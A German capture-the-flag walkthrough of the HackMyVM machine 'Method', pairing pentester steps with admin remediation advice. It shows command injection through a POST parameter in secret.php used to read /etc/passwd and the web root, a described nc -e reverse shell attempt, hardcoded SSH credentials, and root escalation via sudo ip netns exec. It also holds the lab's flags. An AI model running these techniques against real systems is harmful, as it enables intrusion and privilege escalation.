Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`.
192.168.2.127 08:00:27:c3:5c:1c PCS Systemtechnik GmbH
Bewertung: Ein Host mit der IP 192.168.2.127 wurde gefunden. Die MAC-Adresse deutet auf eine VirtualBox VM hin. Dies ist unser Zielsystem "Method".
Empfehlung (Pentester): Führen Sie einen Port-Scan auf 192.168.2.127 durch. Da spätere Befehle den Hostnamen `method.hmv` verwenden, fügen Sie einen Eintrag zur lokalen `/etc/hosts`-Datei hinzu (`192.168.2.127 method.hmv`).
Empfehlung (Admin): Netzwerküberwachung und Segmentierung können die Sichtbarkeit von Systemen einschränken.
Analyse: Ein `nmap`-Scan wird durchgeführt, um offene Ports, Dienste und Versionen zu ermitteln. Die Optionen `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-A` (Aggressive Scan-Optionen) und `-O` (OS-Erkennung) werden verwendet, zusammen mit `-p-` für alle TCP-Ports.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 22:52 CEST Nmap scan report for method (192.168.2.127) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 4b24341f411088b75a6a63d9f675266f (RSA) | 256 5246e72068c16f902fa6adee6d87e728 (ECDSA) |_ 256 3fce97a91ef460f40e71e746582871f0 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Test Page for the Nginx HTTP Server on Fedora |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:C3:5C:1C (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms method (192.168.2.127) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. Erfordert Anmeldedaten. * **Port 80 (HTTP):** nginx 1.18.0, zeigt eine Standard-Testseite (Titel: "Test Page for the Nginx HTTP Server on Fedora", obwohl der Server später als Debian identifiziert wird). Die Angriffsfläche scheint primär der Webserver zu sein, sekundär SSH, falls Zugangsdaten gefunden werden.
Empfehlung (Pentester): Enumerieren Sie den Webserver auf Port 80 gründlich mit Tools wie `nikto`, `gobuster` oder `wfuzz`. Suchen Sie nach Hinweisen auf dem Webserver oder in dessen Konfiguration, um Anmeldedaten für SSH zu finden.
Empfehlung (Admin): Halten Sie nginx und OpenSSH aktuell. Entfernen Sie die Standard-Testseite auf Port 80. Konfigurieren Sie SSH sicher (z.B. Key-basierte Authentifizierung, fail2ban).
Analyse: `nikto` wird verwendet, um schnell nach bekannten Webserver-Schwachstellen und interessanten Dateien auf Port 80 zu suchen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2023-04-17 22:52:38 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.18.0 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /dump.tar.bz2: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /1921682.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /192.168.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /backup.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /2.war: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /2.jks: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /1921682.pem: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /168.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /backup.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /192.tgz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /127.tar.bz2: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /site.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /site.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /192.168.2.127.pem: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /database.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /archive.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html + /sitemap.xml: This gives a nice listing of the site content. + /www/: This might be interesting. + /oekaki/: The PaintBBS Server may allow unauthorized access to the config files. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0202 + /httpd.conf: Apache httpd.conf configuration file. + /httpd.conf.bak: Apache httpd.conf configuration file. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + /wordpress/#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 7947 requests: 0 error(s) and 169 item(s) reported on remote host + End Time: 2023-04-17 22:52:55 (GMT2) (17 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Bewertung: Nikto meldet fehlende Sicherheitsheader (geringes Risiko). Es listet eine **sehr große Anzahl** potenziell interessanter Dateien auf, hauptsächlich Backup-Archive (`.tar.bz2`, `.lzma`, `.tgz`, `.tar`), Zertifikate (`.cer`, `.pem`) und andere Archivtypen (`.egg`, `.alz`, `.war`, `.jks`). Dies ist höchst ungewöhnlich und könnte auf eine Fehlkonfiguration, ein Honeypot oder einfach viel Rauschen hindeuten. Relevanter erscheinen `/sitemap.xml` und `/www/`. Die Funde `/httpd.conf` (Apache-Konfig) und `/wp-config.php` (WordPress) sind wahrscheinlich False Positives, da Nmap einen nginx-Server identifiziert hat.
Empfehlung (Pentester): Die schiere Menge an Backup/Zertifikatsdateien ist verdächtig. Konzentrieren Sie sich zunächst auf die wahrscheinlicheren Ziele: Untersuchen Sie `/sitemap.xml` und `/www/`. Versuchen Sie, einige der spezifischeren Backup-Dateien herunterzuladen (z.B. `/dump.tar.bz2`, `/archive.tar`), wenn die anderen Pfade keine Ergebnisse liefern.
Empfehlung (Admin): Entfernen Sie alle nicht benötigten Dateien und Verzeichnisse aus dem Web-Root. Insbesondere Backup-Dateien, Zertifikate und Konfigurationsdateien gehören niemals in öffentlich zugängliche Bereiche. Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`).
Analyse: Der Inhalt der von Nikto gefundenen `/sitemap.xml` wird mit `curl` abgerufen. Der Hostname `method.hmv` wird verwendet (nach Eintrag in `/etc/hosts`).
https://hackmyvm.eu/machines/index.htm?vm=Brain 2020-02-13 monthly 0.8
Bewertung: Die Sitemap enthält nur einen externen Link zu `hackmyvm.eu` und keine relevanten Informationen über die Struktur der Ziel-Webseite `method.hmv`. Sie ist für die weitere Enumeration nutzlos.
Empfehlung (Pentester): Ignorieren Sie die Sitemap. Konzentrieren Sie sich auf andere Pfade oder versuchen Sie Parameter-Fuzzing.
Empfehlung (Admin): Stellen Sie sicher, dass Sitemaps aktuell sind und nur relevante interne URLs enthalten, oder entfernen Sie sie, wenn sie nicht benötigt werden.
Analyse: Die lokale `/etc/hosts`-Datei wird angezeigt, um die Zuordnung von `method.hmv` zur IP-Adresse 192.168.2.127 zu bestätigen.
127.0.0.1 localhost 127.0.1.1 cyber # 192.168.2.107 AAAAAAAAAAAAA.hmv 192.168.2.127 method.hmv
Bewertung: Die Zuordnung ist korrekt. Dies ermöglicht die Verwendung des Hostnamens in nachfolgenden Befehlen.
Empfehlung (Pentester): Verwenden Sie konsistent den Hostnamen `method.hmv`.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
Analyse: Zugriff auf die Hauptseite `http://method.hmv` über einen Browser oder `curl`. Der angezeigte Text ist der Inhalt der Standard-nginx-Seite unter Debian, die den Speicherort (`/var/www/html`) und die Konfigurationsdatei (`/etc/nginx/nginx.conf`) erwähnt.
http://method.hmv Welcome to nginx on Debian! This page is used to test the proper operation of the nginx HTTP server after it has been installed. If you can read this page, it means that the web server installed at this site is working properly. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Website Administrator ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This is the default index.html page that is distributed with nginx on Debian. It is located in /var/www/html. You should now put your content in a location of your choice and edit the root configuration directive in the nginx configuration file /etc/nginx/nginx.conf.
Bewertung: Bestätigt, dass es sich um die Standardseite handelt. Die Pfadangaben `/var/www/html` und `/etc/nginx/nginx.conf` sind nützliche Informationen für spätere Phasen, falls Datei-Lesezugriff erlangt wird.
Empfehlung (Pentester): Da `gobuster` und `nikto` keine klaren Angriffsvektoren aufzeigten, versuchen Sie Parameter-Fuzzing auf bekannten oder potenziellen Skripten (wie `index.php`, auch wenn es nicht explizit gefunden wurde) oder suchen Sie nach versteckten Dateien mit ungewöhnlichen Namen.
Empfehlung (Admin): Ersetzen Sie die Standardseite durch eigenen Inhalt oder eine leere Seite. Beschränken Sie den Zugriff auf Konfigurationsdateien.
Analyse: Ein Versuch mit `wfuzz`, GET-Parameter auf der nicht existierenden Seite `index.php` zu finden. `FUZZ` wird als Parametername eingesetzt, und `/etc/passwd` als Wert (typisch für LFI-Tests). `--hh 3690` filtert Antworten mit der Größe 3690 Zeichen (vermutlich die Standard-Fehlerseite oder die nginx-Willkommensseite).
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://method.hmv/index.php?FUZZ=/etc/passwd Total requests: 220560 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: [Scan Duration] Processed Requests: 220560 Filtered Requests: 220560 Requests/sec.: [Scan Rate]
Bewertung: Der Scan lieferte keine Ergebnisse. Es wurde kein Parameter gefunden, der eine abweichende Antwort (und damit eine potenzielle Schwachstelle wie LFI oder RCE) auf `index.php` auslöst.
Empfehlung (Pentester): Da Standard-Enumeration und -Fuzzing bisher wenig ergeben haben, ist ein anderer Ansatz nötig. Der nächste Schritt im Log (`searchsploit`, Google-Suche) deutet auf die Suche nach bekannten Exploits für nginx 1.18.0 hin, was aber meist nur bei spezifischen Konfigurationen erfolgreich ist. Der **entscheidende Hinweis muss übersehen worden sein oder fehlt im Log**. Der plötzliche Sprung zu `secret.php` im nächsten Abschnitt legt nahe, dass dieser Pfad auf andere Weise entdeckt wurde (z.B. durch eine aggressivere Wortliste, Analyse von JavaScript-Dateien oder einen Hinweis außerhalb des Logs).
Empfehlung (Admin): Halten Sie nginx aktuell. Überprüfen Sie die Konfiguration auf Sicherheit.
Analyse: Suche nach bekannten öffentlichen Exploits für nginx mit `searchsploit` und Google.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local P | linux/local/40768.sh Nginx 0.6.36 - Directory Traversal | multiple/remote/12804.txt Nginx 0.6.38 - Heap Corruption | linux/local/14830.py Nginx 0.6.x - Arbitrary Code Execution NullByte Injection | multiple/webapps/24967.txt Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0. | linux/dos/9901.txt Nginx 0.7.61 - WebDAV Directory Traversal | multiple/remote/9829.txt Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Inj | multiple/remote/33490.txt Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download | windows/remote/13822.txt Nginx 0.8.36 - Source Disclosure / Denial of Service | windows/remote/13818.txt Nginx 1.1.17 - URI Processing SecURIty Bypass | multiple/remote/38846.txt Nginx 1.20.0 - Denial of Service (DOS) | multiple/remote/50973.py Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overfl | linux/remote/25775.rb Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) | linux/dos/25499.py Nginx 1.3.9/1.4.0 (x86) - Brute Force | linux_x86/remote/26737.pl Nginx 1.4.0 (Generic Linux x64) - Remote Overflow | linux_x86-64/remote/32277.txt PHP-FPM + Nginx - Remote Code Execution | php/webapps/47553.md ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
https://www.google.de/search?q=nginx+1.18.0+exploit+github&sxsrf=APwXEdcIoc-JGDcCPwK5ILBN_KqchT8XQA%3A1681765643829&ei=C7U9ZPX5MYW8xc8PwLCRoAY&oq=remote+exploid+nginx%2F1.18.0&gs_lcp=Cgxnd3Mtd2l6LXNlcnAQARgBMgUIABCiBDIFCAAQogQ6CggAEEcQ1gQQsANKBAhBGABQjhZYjhZgsTZoAnABeACAAYABiAGAAZIBAzAuMZgBAKABAqABAcgBCMABAQ&sclient=gws-wiz-serp nginx 1.18.0 exploit github
Bewertung: Die Suche nach öffentlichen Exploits für nginx 1.18.0 liefert keine direkten, einfach anwendbaren Ergebnisse. Viele Exploits betreffen ältere Versionen oder erfordern spezielle Konfigurationen (wie WebDAV oder PHP-FPM).
Empfehlung (Pentester): Die Ausnutzung eines öffentlichen Exploits für den nginx-Server selbst ist unwahrscheinlich. Der Fokus muss auf der Webanwendung liegen, die auf nginx läuft (auch wenn bisher nur die Standardseite sichtbar war). Es muss eine versteckte Datei oder ein Verzeichnis geben. *Der nächste Schritt im Log springt zu `secret.php`, was diese Annahme stützt.*
Empfehlung (Admin): Patching ist wichtig, aber hier scheint die Schwachstelle eher in der Anwendung als im Webserver selbst zu liegen.
Analyse: Es wird versucht, auf `secret.php` zuzugreifen, diesmal mit `curl -I`, um nur die Header abzurufen. Der Pfad `secret.php` muss zwischenzeitlich gefunden worden sein (z.B. durch eine andere Wortliste, einen Hinweis, oder er war doch in der Nikto-Ausgabe und wurde übersehen - Nikto hat `/www/` gefunden, vielleicht liegt es dort?).
HTTP/1.1 302 Found Server: nginx/1.18.0 Date: Mon, 17 Apr 2023 21:23:22 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg
Bewertung: Der Server antwortet mit einem 302 Redirect auf eine externe Bild-URL. Dies bestätigt die Existenz von `secret.php`, aber ein einfacher GET-Request ohne Parameter führt nicht zum Ziel. Das Skript erwartet wahrscheinlich Parameter oder eine andere HTTP-Methode.
Empfehlung (Pentester): Testen Sie `secret.php` mit verschiedenen Parametern (z.B. `cmd`, `file`, `page`, oder Namen, die thematisch passen) und verschiedenen HTTP-Methoden (POST).
Empfehlung (Admin): Untersuchen Sie `secret.php`. Wenn es nicht benötigt wird, entfernen Sie es. Wenn es benötigt wird, stellen Sie sicher, dass es sicher ist und nicht auf externe Seiten umleitet, es sei denn, dies ist beabsichtigt.
Analyse: Es wird versucht, `secret.php` mit einem GET-Parameter `HackMyVM=id` aufzurufen.
Now the main part what it is loooooool Try other method
Bewertung: Die Antwort "Try other method" bestätigt, dass `HackMyVM` der richtige Parametername ist, aber die GET-Methode nicht zur Ausführung führt.
Empfehlung (Pentester): Senden Sie eine POST-Anfrage mit dem Parameter `HackMyVM=id`.
Empfehlung (Admin): Der Code in `secret.php` ist unsicher und sollte dringend korrigiert werden.
Analyse: Eine POST-Anfrage wird mit `curl -X POST` an `secret.php` gesendet. Der Parameter `HackMyVM` wird im Body (`-d`) mit dem Wert `id` übergeben. Der `Content-Type` Header wird korrekt gesetzt.
You Found ME : - ( uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bewertung: **Command Injection erfolgreich!** Die POST-Anfrage führt den `id`-Befehl aus und gibt das Ergebnis zurück. Der Befehl wird als `www-data` ausgeführt. Initial Access ist erreicht.
Empfehlung (Pentester): Nutzen Sie diese Schwachstelle, um das System weiter zu enumerieren und Anmeldedaten für SSH zu finden oder eine Reverse Shell zu etablieren.
Empfehlung (Admin):** **Dringend:** Beheben Sie die RCE-Schwachstelle in `secret.php` durch Validierung/Sanitisierung der Eingabe oder durch Verwendung sicherer Funktionen anstelle von `system()`.
Analyse: Versuch, eine Reverse Shell mit `nc -e` über die POST-Command-Injection zu starten.
You Found ME
Bewertung: Die Antwort enthält nicht die erwartete Shell-Ausgabe oder eine Fehlermeldung. Der Befehl `nc -e` ist oft auf modernen Systemen nicht verfügbar oder die Webserver-Umgebung verhindert die direkte Socket-Interaktion auf diese Weise. Dieser Reverse-Shell-Versuch ist wahrscheinlich fehlgeschlagen.
Empfehlung (Pentester): Versuchen Sie andere Reverse-Shell-Methoden (Bash TCP, Python, Perl, PHP). Wenn keine direkte Shell möglich ist, fahren Sie mit der Enumeration über die POST-Requests fort.
Empfehlung (Admin): Entfernen Sie unnötige Tools wie Netcat (`nc`) vom Server oder beschränken Sie deren Ausführung.
Analyse: Weitere Enumeration über die POST-RCE-Schwachstelle: Auslesen von `/etc/passwd`, Filtern nach Shell-Benutzern, Auflisten von Home-Verzeichnissen und des Inhalts von `/home/prakasaka`, Lesen der User-Flag.
You Found ME : - ( root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin prakasaka:x:1000:1000:prakasaka,,,:/home/prakasaka:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
You Found ME : - ( root:x:0:0:root:/root:/bin/bash prakasaka:x:1000:1000:prakasaka,,,:/home/prakasaka:/bin/bash
You Found ME : - ( prakasaka
You Found ME : - ( uSeR.txt
You Found ME : - ( e4408105ca9c2a5c2714a818c475d06F
Bewertung: Die Enumeration bestätigt den Benutzer `prakasaka` als einzigen regulären Benutzer mit Bash-Zugriff. Die User-Flag (`e4408105ca9c...`) wurde im Home-Verzeichnis dieses Benutzers gefunden und ausgelesen.
Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Der nächste Schritt ist, Anmeldedaten für `prakasaka` zu finden, um sich per SSH anzumelden. Untersuchen Sie dazu Konfigurationsdateien oder Quellcode im Web-Root-Verzeichnis (`/var/www/html`).
Empfehlung (Admin): Beheben Sie die RCE. Überprüfen Sie Dateiberechtigungen in Home-Verzeichnissen.
Analyse: Weitere Enumeration des Web-Roots (`/var/www/html`) und relevanter Dateien (`note.txt`, `secret.php`).
You Found ME : - (total 24 drwxr-xr-x 2 prakasaka prakasaka 4096 Oct 23 2021 . drwxr-xr-x 3 root root 4096 Oct 23 2021 .. lrwxrwxrwx 1 root root 9 Oct 23 2021 .bash_history -> /dev/null -rw-r--r-- 1 prakasaka prakasaka 220 Oct 23 2021 .bash_logout -rw-r--r-- 1 prakasaka prakasaka 3526 Oct 23 2021 .bashrc -rw-r--r-- 1 prakasaka prakasaka 807 Oct 23 2021 .profile -rw-r--r-- 1 root root 33 Oct 23 2021 uSeR.txt
You Found ME : - (total 7264 drwxr-xr-x 2 root root 4096 Oct 23 2021 . drwxr-xr-x 3 root root 4096 Oct 23 2021 .. -rw-r--r-- 1 root root 5325119 May 6 2021 hacker.gif -rw-r--r-- 1 root root 344 Oct 23 2021 index.htm -rw-r--r-- 1 root root 3690 Oct 23 2021 index.html -rw-r--r-- 1 root root 23 Oct 23 2021 note.txt -rw-r--r-- 1 root root 2078389 Nov 30 2020 office.gif -rw-r--r-- 1 root root 471 Oct 23 2021 secret.php -rw-r--r-- 1 root root 285 Oct 23 2021 sitemap.xml
You Found ME : - ( Enumeration is the key
You Found ME : - ( th3-!llum!n@t0r"; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ?>
Bewertung: Die Auflistung von `/home/prakasaka` zeigt, dass `.bash_history` deaktiviert ist. Die Auflistung von `/var/www/html` zeigt die erwarteten Dateien, einschließlich `secret.php`. Die Datei `note.txt` enthält den Hinweis "Enumeration is the key". Der entscheidende Fund ist das Auslesen des Quellcodes von `secret.php`. Dieser bestätigt nicht nur die RCE-Schwachstelle (`system($_POST['HackMyVM'])`), sondern enthält auch **hardcodierte Anmeldedaten** in einer auskommentierten oder Variablenzuweisung: `$ok="prakasaka:th3-!llum!n@t0r";`.
Empfehlung (Pentester): Verwenden Sie die gefundenen Anmeldedaten (`prakasaka` / `th3-!llum!n@t0r`) für den SSH-Login auf Port 22.
Empfehlung (Admin):** **Dringend:** Entfernen Sie hardcodierte Anmeldedaten aus dem Quellcode. Verwenden Sie sichere Methoden zur Verwaltung von Geheimnissen (z.B. Umgebungsvariablen, Konfigurationsmanagement-Tools, Secret Vaults). Beheben Sie die RCE-Schwachstelle. Ändern Sie das Passwort von `prakasaka`.
Analyse: Versuch, sich per SSH mit den gefundenen Anmeldedaten anzumelden. Der Benutzer wird zur Bestätigung des Host-Schlüssels aufgefordert und gibt das Passwort ein.
The authenticity of host 'method.hmv (192.168.2.127)' can't be established. ED25519 key fingerprint is SHA256:D53VHP4fq2RTpU4+raTrdLYqT8iRcYHlLV+W3TQMFh0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'method.hmv' (ED25519) to the list of known hosts. prakasaka@method.hmv's password: th3-!llum!n@t0r Linux method 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Oct 23 15:52:32 2021 from 192.168.1.5 prakasaka@method:~$
Bewertung: **SSH-Login erfolgreich!** Der Pentester hat nun eine stabile Shell als Benutzer `prakasaka`.
Empfehlung (Pentester): Beginnen Sie mit der Privilege Escalation Enumeration (`sudo -l`, SUID, Capabilities etc.).
Empfehlung (Admin): Ändern Sie das Passwort von `prakasaka`. Entfernen Sie die hardcodierten Credentials aus `secret.php`.
Analyse: Als Benutzer `prakasaka` wird `sudo -l` ausgeführt, um die Berechtigungen zu überprüfen.
Matching Defaults entries for prakasaka on method: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User prakasaka may run the following commands on method: (!root) NOPASSWD: /bin/bash (root) /bin/ip
Bewertung: **Kritischer Fund für Privilege Escalation!** * `(!root) NOPASSWD: /bin/bash`: Erlaubt das Ausführen von `/bin/bash` als *jeder andere Benutzer außer root* ohne Passwort. Dies ist für die direkte Root-Eskalation nicht nützlich. * `(root) /bin/ip`: Erlaubt das Ausführen des Befehls `/bin/ip` als `root`. Das Passwort für `prakasaka` wird benötigt (da `NOPASSWD` nicht angegeben ist), aber das Passwort ist bekannt. Der `ip`-Befehl kann oft zur Rechteausweitung missbraucht werden (siehe GTFOBins).
Empfehlung (Pentester): Recherchieren Sie Methoden zur Rechteausweitung mittels `sudo /bin/ip` (z.B. GTFOBins). Die `ip netns exec`-Methode ist ein bekannter Weg.
Empfehlung (Admin):** **Dringend:** Überprüfen Sie die `sudoers`-Regel. Das Erlauben von `/bin/ip` als root ist gefährlich. Gewähren Sie `sudo`-Rechte nur für spezifische, eingeschränkte Befehle oder Skripte, nicht für mächtige Tools wie `ip`. Entfernen Sie die `(!root) NOPASSWD: /bin/bash`-Regel, da sie wenig Sinn ergibt und potenziell missbraucht werden könnte, um die Identität anderer Benutzer anzunehmen.
Analyse: Ausnutzung der `sudo ip`-Berechtigung mittels der `ip netns exec`-Technik, die auf GTFOBins dokumentiert ist. 1. `sudo ip netns add foo`: Erstellt einen neuen Netzwerk-Namespace namens `foo`. Da `ip` als `root` ausgeführt wird, erfordert dies das Passwort von `prakasaka`. 2. `sudo ip netns exec foo /bin/bash`: Führt `/bin/bash` innerhalb des neu erstellten Namespaces aus. Da `ip netns exec` ebenfalls als `root` läuft, erbt die gestartete Bash-Shell die Root-Privilegien.
# https://gtfobins.github.io/gtfobins/ip/#sudo
[sudo] password for prakasaka: th3-!llum!n@t0r
root@method:/home/prakasaka#
Bewertung: **Privilege Escalation erfolgreich!** Die Technik funktionierte wie erwartet, und eine Root-Shell wurde erlangt.
Empfehlung (Pentester): Bestätigen Sie die Identität mit `id`. Lesen Sie die Root-Flag. Führen Sie Post-Exploitation durch.
Empfehlung (Admin):** **Dringend:** Beheben Sie die unsichere `sudoers`-Regel für `/bin/ip`. Überprüfen Sie alle `sudo`-Regeln auf ähnliche Schwachstellen.
Analyse: Nachdem Root-Zugriff erlangt wurde, werden die User- und Root-Flags gelesen. Die User-Flag (`uSeR.txt`) befindet sich im Home-Verzeichnis von `prakasaka`, die Root-Flag (`rOot.txt`) im Home-Verzeichnis von `root`.
fc9c6eb6265921315e7c70aebd22af7F
e4408105ca9c2a5c2714a818c475d06F
Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung wurde erreicht.
Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: RCE in `secret.php`, hardcodierte Anmeldedaten, unsichere `sudoers`-Regel.